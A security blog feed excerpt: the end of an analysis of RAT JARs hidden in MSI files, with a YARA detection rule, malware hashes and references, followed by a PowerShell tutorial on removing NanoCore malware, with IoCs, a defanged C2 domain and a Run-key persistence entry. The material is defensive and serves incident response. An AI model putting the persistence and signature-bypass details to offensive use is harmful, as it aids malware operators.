&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BD976A&quot;&gt;        $s_zip_magic_eocd&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; = {&lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; 4B &lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt;05&lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt; 06&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BD976A&quot;&gt;        $s_jar&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;META-INF/MANIFEST.MF&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BD976A&quot;&gt;        $s_java_class&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;.class&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;    condition&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BD976A&quot;&gt;        $msi_magic&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; at&lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; filesize&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt;60KB&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; all&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; of&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#BD976A&quot;&gt;$s_&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;*) &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/Securityinbits/yara-rules/blob/34418988302cae96dc19d4a613f7d9560a0271ad/jar_in_msi.yara&quot;&gt;View on GitHub&lt;/a&gt;&lt;br/&gt;
Note: I haven’t checked this yara signature on a clean set of files so it may cause FP.&lt;/p&gt;
&lt;h3 id=&quot;iocs&quot;&gt;7. Indicator of Compromise(IOCs)&lt;/h3&gt;
&lt;h5&gt;MD5&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Ratty&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;13a4072d8d0eba59712bb4ec251e0593 -&amp;gt; This hash analysed in this post
63bed40e369b76379b47818ba912ee43
fa8118a9fa20a17018cb2f60fd28a5b7
4a3d69c28c4742177d6238bc16486f0d
48a5714147ee85374ab74174a82ab77a
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Adwind&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;85eb931d0d27179ae7c13085fb050b11
&lt;/pre&gt;
&lt;p&gt;Thanks to &lt;a href=&quot;https://twitter.com/c_APT_ure&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@c_APT_ure&lt;/a&gt; for sharing following &lt;a href=&quot;https://pastebin.com/LDFf3snu&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;hashes&lt;/a&gt; related to this technique&lt;/p&gt;
&lt;p&gt;Ratty&lt;/p&gt;
&lt;pre&gt;800fbf461f13facf4799e96f5026fd47 shipment.label.jar
f3ea296ad35eec33ea436febd97ff0e2 Shipment-label.jar
80908e5e21c3aff7e8bcaccdbb99e02e 21-04-2020.jar
83aaba8a3cd871441d2c386aaa3ee0e0 TrackingOrder.jar
c50b8615b8d6613f92586224b15bc9ac tracking.update.jar
1eb30fec5a58dc7a6af2c17d7e8327d0 ups-label.jar
85e8e4e814c29ce8779772fca4df64d7 21-05-2020.jar
a49c0e0d1ca8a829a8175a3931e5cba1 a49c0e0d1ca8a829a8175a3931e5cba1.jar
4a2d5424f87d1d4cdcd8a9bea81d2e2a shipment.delivery.label.06-03.jar
&lt;/pre&gt;
&lt;p&gt;Adwind, Thanks to &lt;a href=&quot;https://twitter.com/c_APT_ure&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@c_APT_ure&lt;/a&gt; for sharing the hashes&lt;/p&gt;
&lt;pre&gt;0559defe2122020a2733fafbd6443fd6 2.jar
7239fb81b1771e2aa38edbe0b68e40d5 CONFIRMATION_SWIFT.pdf.jar
&lt;/pre&gt;
&lt;h3 id=&quot;references&quot;&gt;8. References&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/baberpervez2/status/1270935415030235136&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Tweet by Ektracker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Zip_(file_format)&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ZIP file format&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/JAR_(file_format)&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;JAR file format&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Compound_File_Binary_Format&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Compound File Binary Format (CDF)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://isc.sans.edu/forums/diary/Analyzing+MSI+files/23355/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Analyzing MSI files&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.virustotal.com/2019/01/distribution-of-malicious-jar-appended.html&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Distribution of malicious JAR appended to MSI files signed by third parties&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wwws.nightwatchcybersecurity.com/2019/01/16/thoughts-on-the-msi-jar-authenticode-bypass/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Thoughts on the MSI/JAR Authenticode Bypass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/forensicitguy/making-meterpreter-look-google-signed-using-msi-jar-files-c0a7970ff8b7&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Making Meterpreter Look Google-Signed (Using MSI &amp;amp; JAR Files)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/bquintero/status/1271728527428276224&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Reply to the tweet by @bquintero&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/c_APT_ure/status/1271555821894336514&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Hashes shared by @c_APT_ure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://app.any.run/tasks/69435a16-76b6-4217-b513-aad63ad8bccf/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt;– (MD5: 13a4072d8d0eba59712bb4ec251e0593) Ratty&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Revamped jRAT Uses New Anti-Parsing Techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@TalBeerySec/glueball-the-story-of-cve-2020-1464-50091a1f98bd&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;GlueBall: The story of CVE-2020–1464&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://krebsonsecurity.com/2020/08/microsoft-put-off-fixing-zero-day-for-2-years/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Microsoft Put Off Fixing Zero Day for 2 Years&lt;/a&gt; by Brian Krebs&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>malware-analysis</category><category>adwind</category><category>binwalk</category><category>bytecode-viewer</category><category>cve-2020-1464</category><category>file</category><category>glueball</category><category>iocs</category><category>jar</category><category>java</category><category>msi</category><category>rat</category><category>ratty</category><category>xxd</category><category>yara</category><category>zip</category></item><item><title>PowerShell Commands for Incident Response</title><link>https://www.securityinbits.com/incident-response/powershell-commands-for-incident-response/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=632</guid><description>We will learn different PowerShell Commands can be used in Incident Response to remediate the machine. I will take a scenario where a machine is infected with NanoCore malware to explain this PowerShell Commands.</description><pubDate>Mon, 25 May 2020 02:33:51 GMT</pubDate><content:encoded>&lt;p&gt;We will learn different PowerShell Commands can be used in Incident Response to remediate the machine. I will take a real world scenario where a machine is infected with malware e.g. NanoCore RAT to explain this PowerShell Commands.&lt;/p&gt;
&lt;p&gt;These commands can be very useful in a limited Windows environment where you don’t have access to tools like GNU core utilities, Python interpreters etc. If PowerShell remoting &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; is configured in your environment then you run these commands even on a remote infected machine from your clean machine.&lt;/p&gt;
&lt;h3 id=&quot;contents&quot;&gt;CONTENTS&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#overview&quot;&gt;Overview of PowerShell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nanocore&quot;&gt;Malware infection scenario- NanoCore&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#powershell&quot;&gt;PowerShell Commands for Incident Response&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;overview&quot;&gt;Overview of PowerShell&lt;/h3&gt;
&lt;p&gt;From Microsoft&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; – “PowerShell is a task-based command-line shell and scripting language built on .NET. PowerShell helps system administrators and power-users rapidly automate tasks that manage operating systems (Linux, macOS, and Windows) and processes”.&lt;/p&gt;
&lt;p&gt;PowerShell is &lt;strong&gt;based on object not text&lt;/strong&gt;. The &lt;strong&gt;output of a command is an object&lt;/strong&gt;. You can send the output object, through the pipeline, to another command as its input. This pipeline provides a familiar interface for people experienced with other shells. PowerShell extends this concept by sending objects rather than text. These are two types of PowerShell:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt; PowerShell or PowerShell Core – This is the current/latest version and built on .NET core framework. It’s open-source and run on Windows, Linux, macOS and ARM. The latest version is PowerShell 7 and main focus is making it a viable replacement for Windows PowerShell 5.1. This version needs to be manually installed from Github releases pages&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Windows PowerShell – This is a legacy version and built on the .NET Framework and only worked on Windows systems. This is default installed on Windows systems and the latest version is 5.1.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;How to execute PowerShell?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Local Machine-&lt;/strong&gt; Simplest way is to launch PowerShell via the start menu, select Windows PowerShell or PowerShell 7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remote Machine&lt;/strong&gt; – Configure PowerShell remoting &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;  in your environment then you run commands on the remote machine as shown below.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/PowerShell-Command-in-Remoting.png&quot;&gt;&lt;img alt=&quot;PowerShell Commands for Incident Response-Execution of PowerShell Command in PS Remoting&quot; decoding=&quot;async&quot; height=&quot;558&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1374px) 100vw, 1374px&quot; src=&quot;/wp-content/uploads/2020/05/PowerShell-Command-in-Remoting.png&quot; srcset=&quot;/wp-content/uploads/2020/05/PowerShell-Command-in-Remoting.png 1374w, /wp-content/uploads/2020/05/PowerShell-Command-in-Remoting-300x122.png 300w, /wp-content/uploads/2020/05/PowerShell-Command-in-Remoting-1024x416.png 1024w, /wp-content/uploads/2020/05/PowerShell-Command-in-Remoting-768x312.png 768w&quot; width=&quot;1374&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Execution of PowerShell Command in PS Remoting&lt;/figcaption&gt;&lt;/figure&gt;
&lt;div&gt;&lt;button&gt;Show More&lt;/button&gt;&lt;button&gt;Show Less&lt;/button&gt;&lt;/div&gt;&lt;h3 id=&quot;nanocore&quot;&gt;Malware infection scenario – NanoCore&lt;/h3&gt;
&lt;p&gt;Suppose there is a NanoCore malware infection in our environment and we are at the eradication step of Incident Response.  We will learn which PowerShell Commands can be used for Incident Response but it can be applicable to any malware family . To keep it simple, we will consider following points:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Only one Windows 10 machine is infected with NanoCore malware in our environment based on Network logs.&lt;/li&gt;
&lt;li&gt;We have physical access to this machine so no need for PowerShell Remoting.&lt;/li&gt;
&lt;li&gt;We have the copy of the initial NanoCore sample 0ed2be7c91efdb87c98084bb0a22d8d7 &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[4]&lt;/sup&gt;&lt;/a&gt; which infected the machine, so we know the IoCs.&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;NanoCore IoCs&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;Drop RAVBg64.exe and bat files in $Env:TEMP&lt;/li&gt;
&lt;li&gt;Create run.dat and other files in the GUID directory in $Env:APPDATA.&lt;/li&gt;
&lt;li&gt;Create Persistency by creating autorun entry in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/li&gt;
&lt;li&gt;CC: anunankis3[.]duckdns[.]org&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;powershell&quot;&gt;PowerShell Commands for Incident Response&lt;/h3&gt;
&lt;p&gt;The main goal of this Eradication step in Incident response is to remove all the malware artifacts from the system and verify if the system is completely cleaned or not.&lt;/p&gt;
&lt;p&gt;One of the good things about PowerShell Commands is you don’t need to use different tools for working with files, registry or processes, all the things you can manage using inbuilt PowerShell cmdlets. All the PowerShell commands are tested on PowerShell 7 (or Core) but should work on Windows PowerShell 5.1.&lt;/p&gt;
&lt;h4 id=&quot;steps-for-removing-nanocore-infection&quot;&gt;Steps for removing NanoCore infection:&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h5&gt;Check for malicious process&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;Terminate malicious process&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;Remove the persistency&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;Check for files in $env:APPDATA\GUID\&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;Get the Hashes of the files&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;Copy artifacts for analysis&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;Delete malware artifacts&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Please make sure you are running the PowerShell with admin privilege otherwise you will not be able to remediate the system.&lt;/p&gt;
&lt;/aside&gt;&lt;h5&gt;1. Check for malicious process&lt;/h5&gt;
&lt;p&gt;We have to check if the malicious process RAVBg64.exe is currently executing from $env:TEMP directory or not. &lt;b&gt;Get-Process&lt;/b&gt; cmdlet can be used to get currently executing processes as shown in the pic below.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-Process&lt;/code&gt;&lt;/p&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;For quick reference, check &lt;a href=&quot;https://github.com/Securityinbits/cheatsheet/blob/master/PowerShell.md&quot;&gt;PowerShell Cheat Sheet&lt;/a&gt; at Github which include all the commands discussed in this article.&lt;/p&gt;
&lt;/aside&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Get-Process-4.png&quot;&gt;&lt;img alt=&quot;Get-Process PowerShell cmdlet output&quot; decoding=&quot;async&quot; height=&quot;489&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 584px) 100vw, 584px&quot; src=&quot;/wp-content/uploads/2020/05/Get-Process-4.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Get-Process-4.png 584w, /wp-content/uploads/2020/05/Get-Process-4-300x251.png 300w&quot; width=&quot;584&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Get-Process PowerShell cmdlet output&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;We know this RAVBg64 .exe process is executing as shown in the above image but we need to know the complete path to identify if it’s running from the temp directory.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-Process RAVBg64 | Select-Object Id, ProcessName, Path, Company, StartTime | Format-Table&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Get-Process cmdlet doesn’t support the process command line so use &lt;b&gt;Get-WmiObject &lt;/b&gt;command&lt;/p&gt;
&lt;p&gt;Only applicable for Windows PowerShell 5.1&lt;br/&gt;
&lt;code&gt;Get-WmiObject -Class Win32_Process -Filter &quot;name=&apos;RAVBg64.exe&apos;&quot; | Select-Object ProcessId, ProcessName, CommandLine&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;But &lt;strong&gt;Get-Wmiobject&lt;/strong&gt; is &lt;em&gt;deprecated&lt;/em&gt; so use &lt;strong&gt;Get-CimInstance&lt;/strong&gt; for PowerShell 7 as mentioned by &lt;a href=&quot;https://www.reddit.com/r/blueteamsec/comments/ibfiys/powershell_commands_for_incident_response/g1xdcm0/?context=3&quot;&gt;reddit user&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-CimInstance -Class Win32_Process | Format-Table -Property ProcessId, ProcessName, CommandLine -Autosize&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Get-Process-Get-WmiObject-5.png&quot;&gt;&lt;img alt=&quot;Get-Process &amp;amp; Get-WmiObject PowerShell cmdlets output&quot; decoding=&quot;async&quot; height=&quot;234&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1085px) 100vw, 1085px&quot; src=&quot;/wp-content/uploads/2020/05/Get-Process-Get-WmiObject-5.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Get-Process-Get-WmiObject-5.png 1085w, /wp-content/uploads/2020/05/Get-Process-Get-WmiObject-5-300x65.png 300w, /wp-content/uploads/2020/05/Get-Process-Get-WmiObject-5-1024x221.png 1024w, /wp-content/uploads/2020/05/Get-Process-Get-WmiObject-5-768x166.png 768w&quot; width=&quot;1085&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Get-Process &amp;amp; Get-WmiObject PowerShell cmdlets output&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;2. Terminate malicious process&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Stop-Process&lt;/strong&gt; can be used to terminate processes based on process name or process ID (PID), or pass a process object.&lt;br/&gt;
&lt;code&gt;Get-Process RAVBg64 | Stop-Process&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You may need to stop this process imapsv.exe instead of RAVBg64.exe, if the machine has already restarted as this filename is used in registry for persistence.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Stop-Process-6.png&quot;&gt;&lt;img alt=&quot;PowerShell Command for Stop-Process&quot; decoding=&quot;async&quot; height=&quot;251&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 976px) 100vw, 976px&quot; src=&quot;/wp-content/uploads/2020/05/Stop-Process-6.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Stop-Process-6.png 976w, /wp-content/uploads/2020/05/Stop-Process-6-300x77.png 300w, /wp-content/uploads/2020/05/Stop-Process-6-768x198.png 768w&quot; width=&quot;976&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;PowerShell Command for Stop-Process&lt;/figcaption&gt;&lt;/figure&gt;&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;If you don’t stop the malicious process and try to delete the file from disk then it will give you access error due to the open handle.&lt;/p&gt;
&lt;/aside&gt;&lt;h5&gt;3. Remove Persistence&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Get-ItemProperty &lt;/strong&gt;cmdlet can be used for listing registry entries as shown below:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-ItemProperty &apos;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&apos; -Name &apos;IMAP Service&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remove-ItemProperty&lt;/strong&gt; can be used for removing NanoCore persistence registry entry&lt;br/&gt;
&lt;code&gt;Get-ItemProperty &apos;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&apos; | Remove-ItemProperty -Name &apos;IMAP Service&apos; Get-ItemProperty &apos;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&apos;&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Remove-Registry-Entry-8.png&quot;&gt;&lt;img alt=&quot;PowerShell Commands for Incident Response - Query &amp;amp; remove NanoCore registry entry using PowerShell Command&quot; decoding=&quot;async&quot; height=&quot;408&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1063px) 100vw, 1063px&quot; src=&quot;/wp-content/uploads/2020/05/Remove-Registry-Entry-8.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Remove-Registry-Entry-8.png 1063w, /wp-content/uploads/2020/05/Remove-Registry-Entry-8-300x115.png 300w, /wp-content/uploads/2020/05/Remove-Registry-Entry-8-1024x393.png 1024w, /wp-content/uploads/2020/05/Remove-Registry-Entry-8-768x295.png 768w&quot; width=&quot;1063&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Query &amp;amp; remove NanoCore registry entry using PowerShell Command&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;4. Check for files in $env:APPDATA\GUID\&lt;/h5&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;-Force – It is used to list hidden or system files. Some malware use the hidden attribute for their files, so always use this parameter.&lt;/p&gt;
&lt;/aside&gt;&lt;p&gt;NanoCore creates a unique GUID dir in $env:APPDATA to keep it’s copy and logs. We can &lt;b&gt;Get-ChildItem&lt;/b&gt; cmdlet to list the directory it’s like dir cmd. This cmdlet can be used in file system directory, registry hive, or a certificate store.&lt;/p&gt;
&lt;p&gt;-Recurse – Used to recursive list all the sub-dir&lt;br/&gt;
-Filter – You can use the parameter to filter the path and it supports &lt;b&gt;*&lt;/b&gt; and &lt;b&gt;?&lt;/b&gt; wildcards e.g *.dat, *.exe&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-ChildItem -Path $Env:APPDATA -Force -Recurse -Filter run.dat&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Instead of Get-ChildItem, we can Test-Path to check if the dir or file exists or not&lt;br/&gt;
&lt;code&gt;Test-Path -Path $Env:APPDATA\*\run.dat&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Test-Path-and-Get-ChildItem-9.png&quot;&gt;&lt;img alt=&quot;Test-Path &amp;amp; Get-ChildItem PowerShell cmdlets&quot; decoding=&quot;async&quot; height=&quot;215&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 715px) 100vw, 715px&quot; src=&quot;/wp-content/uploads/2020/05/Test-Path-and-Get-ChildItem-9.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Test-Path-and-Get-ChildItem-9.png 715w, /wp-content/uploads/2020/05/Test-Path-and-Get-ChildItem-9-300x90.png 300w&quot; width=&quot;715&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Test-Path &amp;amp; Get-ChildItem PowerShell cmdlets&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;After running the above cmds you will be able to know the unique GUID directory name &lt;b&gt;0319B08F-2B65-4192-B2D2-1E2F62087064 &lt;/b&gt;, this folder contain other artifacts as shown in below screenshot&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-ChildItem -Path C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Force -Recurse&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Get-ChildItem-All-files-10.png&quot;&gt;&lt;img alt=&quot;PowerShell Commands for Incident Response - Get-ChildItem cmdlets using Force &amp;amp; Recurse parameters&quot; decoding=&quot;async&quot; height=&quot;599&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1119px) 100vw, 1119px&quot; src=&quot;/wp-content/uploads/2020/05/Get-ChildItem-All-files-10.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Get-ChildItem-All-files-10.png 1119w, /wp-content/uploads/2020/05/Get-ChildItem-All-files-10-300x161.png 300w, /wp-content/uploads/2020/05/Get-ChildItem-All-files-10-1024x548.png 1024w, /wp-content/uploads/2020/05/Get-ChildItem-All-files-10-768x411.png 768w&quot; width=&quot;1119&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Get-ChildItem cmdlets using Force &amp;amp; Recurse parameters&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;5. Gather hashes&lt;/h5&gt;
&lt;p&gt;&lt;b&gt;Get-FileHash&lt;/b&gt; cmdlet can be used to get the hash using a different algorithm e.g. MD5. SHA1 , SHA256 etc. By default, the &lt;b&gt;Get-FileHash&lt;/b&gt; cmdlet uses the SHA256 algorithm, although any hash algorithm that is supported by the target operating system can be used.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SHA256&lt;/strong&gt;&lt;br/&gt;
&lt;code&gt;Get-FileHash -Path &apos;C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\IMAP Service\imapsv.exe&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MD5&lt;/strong&gt;&lt;br/&gt;
&lt;code&gt;Get-FileHash -Algorithm MD5 -Path &apos;C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\IMAP Service\imapsv.exe&apos;&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Get-FileHash-Basic-cmds-11.png&quot;&gt;&lt;img alt=&quot;Get-FileHash PowerShell cmdlet&quot; decoding=&quot;async&quot; height=&quot;270&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1478px) 100vw, 1478px&quot; src=&quot;/wp-content/uploads/2020/05/Get-FileHash-Basic-cmds-11.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Get-FileHash-Basic-cmds-11.png 1478w, /wp-content/uploads/2020/05/Get-FileHash-Basic-cmds-11-300x55.png 300w, /wp-content/uploads/2020/05/Get-FileHash-Basic-cmds-11-1024x187.png 1024w, /wp-content/uploads/2020/05/Get-FileHash-Basic-cmds-11-768x140.png 768w&quot; width=&quot;1478&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Get-FileHash PowerShell cmdlet&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;We can use Get-ChildItem &amp;amp; Get-FileHash cmdlets for collecting the file hashes in the directory with MD5, SHA256, Name &amp;amp; FullName.&lt;/p&gt;
